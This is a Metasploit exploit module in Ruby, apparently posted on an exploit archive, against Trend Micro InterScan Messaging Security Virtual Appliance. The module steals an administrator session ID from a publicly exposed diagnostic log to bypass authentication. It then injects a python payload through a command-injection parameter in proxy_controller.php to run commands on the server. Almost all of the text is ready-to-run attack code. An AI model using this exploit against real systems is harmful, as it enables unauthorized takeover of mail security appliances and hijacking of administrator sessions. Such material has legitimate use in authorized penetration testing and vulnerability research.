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Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution

Posted on 12 October 2017

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution", 'Description' => %q{ This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user. The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <>', # author of command injection 'Mehmet Ince <>' # author of authentication bypass & msf module ], 'References' => [ ['URL', ''], ['URL', ''], ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8445 }, 'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' }, }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets' => [[ 'Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => "Oct 7 2017", 'DefaultTarget' => 0 )) register_options( ['TARGETURI', [true, 'The URI of the Trend Micro IMSVA management interface', '/']) ] ) end def extract_jsessionid res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'widget', 'repository', 'log', 'diagnostic.log') }) if res && res.code == 200 && res.body.include?('JSEEEIONID') res.body.scan(/JSEEEIONID:([A-F0-9]{32})/).flatten.last else nil end end def widget_auth(jsessionid) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'widget', 'index.php'), 'cookie' => "CurrentLocale=en-U=en_US; JSESSIONID=#{jsessionid}" }) if res && res.code == 200 && res.body.include?('USER_GENERATED_WIDGET_DIR') res.get_cookies else nil end end def check # If we've managed to bypass authentication, that means target is most likely vulnerable. jsessionid = extract_jsessionid if jsessionid.nil? return Exploit::CheckCode::Safe end auth = widget_auth(jsessionid) if auth.nil? Exploit::CheckCode::Safe else Exploit::CheckCode::Appears end end def exploit print_status('Extracting JSESSIONID from publicly accessible log file') jsessionid = extract_jsessionid if jsessionid.nil? fail_with(Failure::NotVulnerable, "Target is not vulnerable.") else print_good("Awesome. JSESSIONID value = #{jsessionid}") end print_status('Initiating session with widget framework') cookies = widget_auth(jsessionid) if cookies.nil? fail_with(Failure::NoAccess, "Latest JSESSIONID is expired. Wait for sysadmin to login IMSVA") else print_good('Session with widget framework successfully initiated.') end print_status('Trigerring command injection vulnerability') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'widget', 'proxy_controller.php'), 'cookie' => "CurrentLocale=en-US; LogonUser=root; JSESSIONID=#{jsessionid}; #{cookies}", 'vars_post' => { 'module' => 'modTMCSS', 'serverid' => '1', 'TOP' => "$(python -c "#{payload.encoded}")" } }) end end



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